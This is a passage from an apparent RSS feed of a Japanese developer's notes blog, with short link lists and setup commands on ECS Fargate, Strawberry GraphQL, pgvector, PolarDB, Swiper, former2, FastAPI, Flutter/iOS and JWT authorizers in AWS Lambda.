(3) [ECS/Fargate] [request]: Support pidMode: task on Fargate #676. &lt;a href="https://github.com/aws/containers-roadmap/issues/676"&gt;https://github.com/aws/containers-roadmap/issues/676&lt;/a&gt;.
(4) 【アップデート】ECS on FargateがsystemControlsをサポートし &amp;hellip;. &lt;a href="https://dev.classmethod.jp/articles/ecs-on-fargate-support-systemcontrols/"&gt;https://dev.classmethod.jp/articles/ecs-on-fargate-support-systemcontrols/&lt;/a&gt;.
(5) Amazon ECS on AWS Fargate - Datadog Infrastructure and &amp;hellip;. &lt;a href="https://docs.datadoghq.com/integrations/ecs_fargate/"&gt;https://docs.datadoghq.com/integrations/ecs_fargate/&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pidMode&lt;/code&gt;を指定しなくてもサイドカー構成を取ることは可能です。&lt;code&gt;pidMode&lt;/code&gt;は、特定のユースケースでプロセスID名前空間を共有するためのオプションですが、サイドカーコンテナ自体は他の方法で連携できます。&lt;/p&gt;
&lt;p&gt;例えば、サイドカーコンテナは以下のような方法で他のコンテナと連携します：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ネットワーク共有&lt;/strong&gt;: 同じタスク内のコンテナはデフォルトで同じネットワーク名前空間を共有するため、互いに通信できます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ボリューム共有&lt;/strong&gt;: データを共有するために、同じボリュームをマウントすることができます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;環境変数や設定ファイル&lt;/strong&gt;: コンテナ間で設定情報を共有するために使用できます。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これらの方法を組み合わせることで、&lt;code&gt;pidMode&lt;/code&gt;を使用しなくても効果的なサイドカー構成を実現できます。&lt;/p&gt;
&lt;h2 id="記事"&gt;記事&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://aws.amazon.com/jp/about-aws/whats-new/2023/08/aws-fargate-pid-namespace-sharing-kernel-configuration/"&gt;AWS Fargate がプロセス ID 名前空間の共有とカーネルパラメータ構成のサポートを開始&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/shun198/items/e06ca36464cc054a6278"&gt;Terraformを使ってAWSのECS Fargate(Django+Nginx)を構築しよう！&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Strawberry</title><link>https://hdknr.github.io/blogs/posts/2024/08/strawberry/</link><pubDate>Thu, 01 Aug 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/08/strawberry/</guid><description>&lt;h1 id="strawberry"&gt;Strawberry&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://strawberry.rocks/"&gt;https://strawberry.rocks/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="djanog-integration"&gt;Djanog Integration&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://strawberry.rocks/docs/integrations/django"&gt;https://strawberry.rocks/docs/integrations/django&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://strawberry.rocks/docs"&gt;Getting started with Strawberry&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uv add strawberry-graphql&lt;span style="color:#f92672"&gt;[&lt;/span&gt;debug-server&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uv add strawberry-graphql-django
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uv add django-choices-field&lt;span style="color:#ae81ff"&gt;\n&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="strawberry-sqlalchemy"&gt;strawberry-sqlalchemy&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/strawberry-graphql/strawberry-sqlalchemy"&gt;https://github.com/strawberry-graphql/strawberry-sqlalchemy&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="記事"&gt;記事&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/comachi/items/42102ead754c9bbd4173"&gt;FastAPI と Strawberry(GraphQL) が動作する諸々整ったデモアプリを作ってみた&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/0machi/FastAPI_Strawberry_strawberry-sqlalchemy_DemoApp"&gt;https://github.com/0machi/FastAPI_Strawberry_strawberry-sqlalchemy_DemoApp&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.muehlemann-popp.ch/graphene-vs-strawberry-which-is-better-for-providing-a-graphql-api-382633f6cd50"&gt;Graphene vs Strawberry: Which is better for providing a GraphQL API?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="django"&gt;Django&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://testdriven.io/blog/django-strawberry/"&gt;Developing GraphQL APIs in Django with Strawberry&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>PGVector</title><link>https://hdknr.github.io/blogs/posts/2024/07/pgvector/</link><pubDate>Wed, 31 Jul 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/07/pgvector/</guid><description>&lt;h1 id="pgvector"&gt;PGVector&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;ニューラルネットワークの知識の蒸留 distilling the knowledge in a neural network&lt;a href="https://python.langchain.com/v0.2/docs/integrations/retrievers/self_query/pgvector_self_query/"&gt;PGVector (Postgres)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/lecto/articles/00a9ace01eb8b9"&gt;Rails/PostgreSQL/pgvector を組み合わせてベクトル検索をする。&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/yassun/sample-pgvector"&gt;https://github.com/yassun/sample-pgvector&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hub.docker.com/r/pgvector/pgvector"&gt;https://hub.docker.com/r/pgvector/pgvector&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/pgvector/pgvector-python"&gt;https://github.com/pgvector/pgvector-python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.mof-mof.co.jp/tech-blog/pgvector-similarity-search"&gt;LangChain と pgvector(Postgres)を用いて関連性の高いドキュメントを手軽に検索する&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/comware_moriyoshi/items/989c2f2a07f33591c1df"&gt;生成 AI でテキスト分類やってみた&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="sentencetransformer"&gt;SentenceTransformer&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/welmo/articles/a79b8b45573383"&gt;Python の SentenceTransformer を用いた文章類似度比較 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tech.yellowback.net/posts/sentence-transformers-japanese-models"&gt;sentence transformers で日本語を扱えるモデルのまとめ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tech.yellowback.net/posts/transformers-japanese-characters-in-multilingual-models"&gt;transformers 多言語モデル中の日本語語彙調査&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="知識蒸留"&gt;知識蒸留&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/kotai2003/items/cf95ab63f3f4e72ddef4"&gt;ニューラルネットワークの知識の蒸留 distilling the knowledge in a neural network&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ai-scholar.tech/articles/knowledge-distillation/patient-consistent-kd"&gt;知識蒸留で効果的な教師の条件とは？&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://aismiley.co.jp/ai_news/how-to-create-teacher-data-that-is-essential-for-improving-ai-accuracy/"&gt;教師データとは？学習データとの違いや作り方をわかりやすく紹介&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://laboro.ai/activity/column/engineer/%E3%83%87%E3%82%A3%E3%83%BC%E3%83%97%E3%83%A9%E3%83%BC%E3%83%8B%E3%83%B3%E3%82%B0%E3%82%92%E8%BB%BD%E9%87%8F%E5%8C%96%E3%81%99%E3%82%8B%E3%83%A2%E3%83%87%E3%83%AB%E5%9C%A7%E7%B8%AE/"&gt;ディープラーニングを軽量化する「モデル圧縮」３手法&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="muse"&gt;MUSE&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/elda227/items/5364ea669c9c93194d53"&gt;Muse: Text-To-Image Generation via Masked Generative Transformers を読んだメモ&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>PolarDB</title><link>https://hdknr.github.io/blogs/posts/2024/07/polardb/</link><pubDate>Wed, 31 Jul 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/07/polardb/</guid><description>&lt;h1 id="polardb-for-postgresql"&gt;PolarDB for PostgreSQL&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;PolarDB for PostgreSQL（以下、PolarDB）は、Alibaba Cloud が独自に開発したクラウドネイティブなデータベースサービスです。&lt;/li&gt;
&lt;li&gt;このサービスは、PostgreSQL と 100%互換性があり、共有ストレージベースのアーキテクチャを採用しています。&lt;/li&gt;
&lt;li&gt;これにより、計算とストレージが分離され、柔軟なスケーラビリティ、ミリ秒レベルの遅延、HTAP（Hybrid Transactional/Analytical Processing）機能を提供します ¹²。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;主な特徴は以下の通りです：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;柔軟なスケーラビリティ&lt;/strong&gt;：ビジネス要件に応じて、計算クラスターやストレージクラスターをスケールアウトできます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ミリ秒レベルの遅延&lt;/strong&gt;：WAL（Write-Ahead Logging）ログが共有ストレージに保存され、メタデータのみがレプリケートされます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTAP 機能&lt;/strong&gt;：OLTP（オンライントランザクション処理）と OLAP（オンライン分析処理）の両方をサポートするためのアーキテクチャを持っています ¹²³。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;他に知りたいことがあれば教えてくださいね。&lt;/p&gt;
&lt;p&gt;ソース: Copilot との会話、 2024/7/31
(1) GitHub - ApsaraDB/PolarDB-for-PostgreSQL: A cloud-native &amp;hellip;. &lt;a href="https://github.com/ApsaraDB/PolarDB-for-PostgreSQL"&gt;https://github.com/ApsaraDB/PolarDB-for-PostgreSQL&lt;/a&gt;.
(2) PolarDB for PostgreSQL - Gitee. &lt;a href="https://gitee.com/polardb/PolarDB-for-PostgreSQL"&gt;https://gitee.com/polardb/PolarDB-for-PostgreSQL&lt;/a&gt;.
(3) PolarDB&lt;em&gt;云原生数据库&lt;/em&gt;自研数据库_数据库-阿里云. &lt;a href="https://polardbpg.com/"&gt;https://polardbpg.com/&lt;/a&gt;.
(4) PolarDB: 阿里云开源云原生数据库 PolarDB - Gitee. &lt;a href="https://gitee.com/polardb"&gt;https://gitee.com/polardb&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="記事"&gt;記事&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/hmatsu47/items/3ebefcc778273776f5e6"&gt;PolarDB for PostgreSQL 14 で pgvector と LangChain を使ってベクトル検索してみる&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Swiper</title><link>https://hdknr.github.io/blogs/posts/2024/07/swiper/</link><pubDate>Mon, 15 Jul 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/07/swiper/</guid><description>&lt;h1 id="swiper"&gt;swiper&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/nolimits4web/swiper"&gt;https://github.com/nolimits4web/swiper&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://b-risk.jp/blog/2022/04/swiper/"&gt;【最新】Swiper の使い方・カスタマイズを解説！サンプルやオプション 15 個付き ー基礎から応用までー&lt;/a&gt; (Swiper v8.1.4)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://jvndb.jvn.jp/ja/contents/2021/JVNDB-2021-005554.html"&gt;JVNDB-2021-005554 swiper における脆弱性&lt;/a&gt; (6.5.1)(情報を取得される、情報を改ざんされる、およびサービス運用妨害 (DoS) 状態にされる可能性があります。)&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Terraform and others</title><link>https://hdknr.github.io/blogs/posts/2024/06/terraform-and-others/</link><pubDate>Tue, 25 Jun 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/06/terraform-and-others/</guid><description>&lt;h1 id="terraform--cloudformation-関連"&gt;Terraform , CloudFormation 関連&lt;/h1&gt;
&lt;h2 id="opentofu"&gt;OpenTofu&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://opentofu.org/"&gt;https://opentofu.org/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="troposphere"&gt;troposphere&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/cloudtools/troposphere"&gt;https://github.com/cloudtools/troposphere&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/kooohei/items/17f6fa6facacfd0201b6"&gt;troposphere で CloudFormation のテンプレートを作成する。&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="former2"&gt;former2&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/iann0036/former2"&gt;https://github.com/iann0036/former2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/y_inoue15/items/26c245c9e9fdf42c75a4"&gt;Former2 から CloudFormation を生成してみた&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;インストール:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone https://github.com/iann0036/former2.git
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo /Applications/Docker.app/Contents/MacOS/install remove-vmnetd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo /Applications/Docker.app/Contents/MacOS/install vmnetd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;docker-compose up -d
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>FastAPI</title><link>https://hdknr.github.io/blogs/posts/2024/06/fastapi/</link><pubDate>Mon, 24 Jun 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/06/fastapi/</guid><description>&lt;h1 id="fastapi"&gt;FastAPI&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/sh0nk/books/537bb028709ab9"&gt;FastAPI入門&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/abek21/items/7739163085899b257cb8"&gt;FastAPI を用いた API 開発テンプレート&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/Ryo-0131/items/1d1df96aca61d1873de8"&gt;【FastAPI】Uvicorn と Gunicorn、WSGI と ASGI、ワーカープロセスについて実施コマンドと共に解説&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.classmethod.jp/articles/hypercorn_fastapi/"&gt;Hypercorn+FastAPI のコンテナイメージを作成してみる&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="hypercorn"&gt;Hypercorn&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.djangoproject.com/ja/5.0/howto/deployment/asgi/hypercorn/"&gt;Django を Hypercorn とともに使う&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/abhijithganesh/how-to-deploy-any-python-web-application-1707"&gt;How to deploy any Python Web Application?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/kingo_takatsuki/scraps/80b57717e5e6ae"&gt;FastAPI を始める時のメモ（ボツ）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pgjones.dev/blog/http-1-2-3-2019/"&gt;How to serve HTTP 1, 2, and 3 in Python&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;poetry add fastapi hypercorn quart
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="filters"&gt;filters&lt;/h2&gt;
&lt;p&gt;fastapi-filters:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pypi.org/project/fastapi-filters/"&gt;https://pypi.org/project/fastapi-filters/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://fastapi-filter.netlify.app/"&gt;https://fastapi-filter.netlify.app/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/arthurio/fastapi-filter/tree/main"&gt;https://github.com/arthurio/fastapi-filter/tree/main&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;その他:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pypi.org/project/fastapi-query-tools/"&gt;https://pypi.org/project/fastapi-query-tools/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="モデルマッパー"&gt;モデルマッパー&lt;/h2&gt;
&lt;h3 id="sqlmodel"&gt;SQLModel(&lt;a href="https://sqlmodel.tiangolo.com/"&gt;https://sqlmodel.tiangolo.com/&lt;/a&gt;)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://tobydevlin.com/blog/database-migration-with-sqlmodel-and-alembic"&gt;Database Migrations with sqlmodel and alembic&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/hara-st/items/0b5f3583f553fecb433d"&gt;FastAPI + SQLModel を使った簡単API開発をやってみた&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://note.com/kiyo_ai_note/n/n7b2fbe8629c8"&gt;Pythonライブラリ(SQL)：SQLModel（応用編-FastAPI)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://note.com/kiyo_ai_note/n/n7f575d88ea2b"&gt;Pythonライブラリ(SQL)：SQLModel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/keita_f/articles/6e1323fe023fa1"&gt;Alembicでマイグレーション（FastAPI+SQLModel）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/sand/items/f338e67e86d728f793c2"&gt;FastAPI SQLModel 入門&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Joichiro433/Blog-fastapi-todo/tree/main"&gt;https://github.com/Joichiro433/Blog-fastapi-todo/tree/main&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>flutter/ios</title><link>https://hdknr.github.io/blogs/posts/2024/06/flutter/ios/</link><pubDate>Tue, 18 Jun 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/06/flutter/ios/</guid><description>&lt;h1 id="flutterios"&gt;Flutter/iOS&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/temoki/items/fc3b62bc088f96184f8f"&gt;iOS でホーム画面に表示されるアプリ名はどこで決まるのか？変更するには？&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/kasa_le/items/fed9f25b92091bd162ce"&gt;Flutter アプリを iOS 版ビルドに必要な手順のまとめ(debug/release)と TestFlight に上げるまで&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zenn.dev/blendthink/articles/392607db0a65dd"&gt;Flutter の環境分けの新時代&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/flutter/flutter/pull/124533"&gt;Allow .xcworkspace and .xcodeproj to be renamed from default name &amp;lsquo;Runner&amp;rsquo; #124533&lt;/a&gt; (Runner から名称の変更)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="product_name"&gt;&lt;code&gt;$PRODUCT_NAME&lt;/code&gt;&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;PRODUCT_NAME&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;$(TARGET_NAME)&amp;#34;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>JWT in AWS Lambda</title><link>https://hdknr.github.io/blogs/posts/2024/06/jwt-in-aws-lambda/</link><pubDate>Tue, 18 Jun 2024 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2024/06/jwt-in-aws-lambda/</guid><description>&lt;h1 id="jwt-in-aws-lambda"&gt;JWT in AWS Lambda&lt;/h1&gt;
&lt;h2 id="api-gateway-"&gt;API Gateway-&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://gist.github.com/bendog/44f21a921f3e4282c631a96051718619"&gt;https://gist.github.com/bendog/44f21a921f3e4282c631a96051718619&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://docs.aws.amazon.com/apigateway/latest/developerguide/http-api-jwt-authorizer.html"&gt;Controlling access to HTTP APIs with JWT authorizers&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://docs.aws.amazon.com/ja_jp/apigateway/latest/developerguide/http-api-jwt-authorizer.html"&gt;JWT オーソライザーを使用した HTTP API へのアクセスの制御&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://qiita.com/asw_hoggge/items/2e967b7daf93928975c1"&gt;API Gateway の JWT オーソライザーで Google ID トークンを検証してみた&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://qiita.com/KWS_0901/items/9b37712ed4bff75e1d4f"&gt;API Gateway JWT Authorizer メモ&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://qiita.com/tamura_CD/items/46ba8a2f3bfd5484843f"&gt;API Gateway + Lambda で REST API 開発を体験しよう [10 分で完成編]&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://blog.serverworks.co.jp/gen-ai-aws-lambda-streaming"&gt;【生成 AI】AWS Lambda(Python) と LangChain(LCEL) を使ってストリーミング出力したい&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://github.com/aws-samples/bedrock-claude-chat"&gt;https://github.com/aws-samples/bedrock-claude-chat&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://zenn.dev/koji_mats/articles/d7dae894845f4e"&gt;slack と AWS で LLM Chatbot を Serverless で運用する&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="lambda-コンテナ"&gt;Lambda コンテナ&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/ja_jp/lambda/latest/dg/images-create.html"&gt;Lambda のコンテナイメージを使用する&lt;/a&gt;&lt;/li&gt;
